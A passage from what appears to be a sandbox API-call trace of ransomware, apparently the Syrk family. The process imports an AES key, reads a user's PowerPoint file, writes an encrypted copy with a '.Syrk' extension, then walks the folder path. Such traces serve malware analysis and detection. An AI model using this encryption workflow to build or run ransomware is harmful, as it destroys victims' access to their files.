(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0222.147] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.147] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0222.147] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0222.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0222.147] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.147] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0222.147] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0222.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0222.148] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.148] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0222.148] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0222.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0222.148] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.148] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0222.148] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0222.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0222.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0222.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0222.149] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.149] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0222.149] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0222.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0222.149] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.149] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0222.150] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0222.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0222.150] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.150] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0222.150] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0222.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0222.150] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.150] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0222.150] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.150] EtwEventActivityIdControl () returned 0x0 [0222.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0222.151] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.151] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0222.151] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0222.152] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0222.154] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x2365604*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c68d00) returned 1 [0222.154] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.155] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.155] EtwEventActivityIdControl () returned 0x0 [0222.155] EtwEventActivityIdControl () returned 0x0 [0222.155] EtwEventActivityIdControl () returned 0x0 [0222.276] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 0x20 [0222.279] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 0x20 [0222.279] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0222.279] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0222.280] EtwEventActivityIdControl () returned 0x0 [0222.281] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.281] EtwEventActivityIdControl () returned 0x0 [0222.281] EtwEventActivityIdControl () returned 0x0 [0222.281] EtwEventActivityIdControl () returned 0x0 [0222.287] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0222.287] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0222.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0222.288] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0222.288] GetFileType (hFile=0x454) returned 0x1 [0222.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0222.288] GetFileType (hFile=0x454) returned 0x1 [0222.289] EtwEventActivityIdControl () returned 0x0 [0222.289] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.289] EtwEventActivityIdControl () returned 0x0 [0222.289] EtwEventActivityIdControl () returned 0x0 [0222.289] EtwEventActivityIdControl () returned 0x0 [0222.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0222.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk", lpFilePart=0x0) returned 0x55 [0222.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0222.291] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0222.292] GetFileType (hFile=0x458) returned 0x1 [0222.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0222.293] GetFileType (hFile=0x458) returned 0x1 [0222.293] EtwEventActivityIdControl () returned 0x0 [0222.293] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x237b7cc | out: pbBuffer=0x237b7cc) returned 1 [0222.295] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.296] CryptDuplicateKey (in: hKey=0x5c68d00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69200) returned 1 [0222.296] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.296] CryptSetKeyParam (hKey=0x5c69200, dwParam=0x4, pbData=0x237cb04*=0x1, dwFlags=0x0) returned 1 [0222.296] CryptSetKeyParam (hKey=0x5c69200, dwParam=0x1, pbData=0x237cad0, dwFlags=0x0) returned 1 [0222.296] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.296] EtwEventActivityIdControl () returned 0x0 [0222.296] EtwEventActivityIdControl () returned 0x0 [0222.296] EtwEventActivityIdControl () returned 0x0 [0222.298] EtwEventActivityIdControl () returned 0x0 [0222.298] ReadFile (in: hFile=0x454, lpBuffer=0x237f740, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237f740*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0222.301] CryptEncrypt (in: hKey=0x5c69200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2393758*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x2393758*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0222.302] WriteFile (in: hFile=0x458, lpBuffer=0x237b8b4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x237b8b4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0222.303] WriteFile (in: hFile=0x458, lpBuffer=0x2394744*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2394744*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0222.306] ReadFile (in: hFile=0x454, lpBuffer=0x237f740, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237f740*, lpNumberOfBytesRead=0x5a2e7d8*=0x4491, lpOverlapped=0x0) returned 1 [0222.306] CryptEncrypt (in: hKey=0x5c69200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a7770*, pdwDataLen=0x5a2e7cc*=0x4490, dwBufLen=0x4490 | out: pbData=0x23a7770*, pdwDataLen=0x5a2e7cc*=0x4490) returned 1 [0222.307] WriteFile (in: hFile=0x458, lpBuffer=0x23a7770*, nNumberOfBytesToWrite=0x4490, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23a7770*, lpNumberOfBytesWritten=0x5a2e7b0*=0x4490, lpOverlapped=0x0) returned 1 [0222.307] ReadFile (in: hFile=0x454, lpBuffer=0x237f740, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237f740*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0222.307] CryptEncrypt (in: hKey=0x5c69200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23abc0c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23abc0c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0222.307] CryptEncrypt (in: hKey=0x5c69200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23abc28*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23abc28*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0222.307] WriteFile (in: hFile=0x458, lpBuffer=0x237b8b4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x237b8b4*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0222.308] CloseHandle (hObject=0x458) returned 1 [0222.397] CloseHandle (hObject=0x454) returned 1 [0222.398] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.399] EtwEventActivityIdControl () returned 0x0 [0222.399] EtwEventActivityIdControl () returned 0x0 [0222.399] EtwEventActivityIdControl () returned 0x0 [0222.408] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 0x20 [0222.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0222.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0222.417] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0222.418] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0222.418] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0222.418] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0222.418] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0222.418] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0222.418] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0222.419] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0222.419] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0222.419] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0222.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0222.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0222.419] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0222.420] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0222.420] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0222.420] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0222.420] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0222.420] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0222.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0222.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0222.421] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0222.421] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0222.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0222.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0222.421] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0222.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0222.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0222.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", lpFilePart=0x0) returned 0x36 [0222.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0")) returned 0x10 [0222.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0")) returned 0x10 [0222.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0222.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", lpFilePart=0x0) returned 0x42 [0222.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 0x20 [0222.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0222.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0222.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0222.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 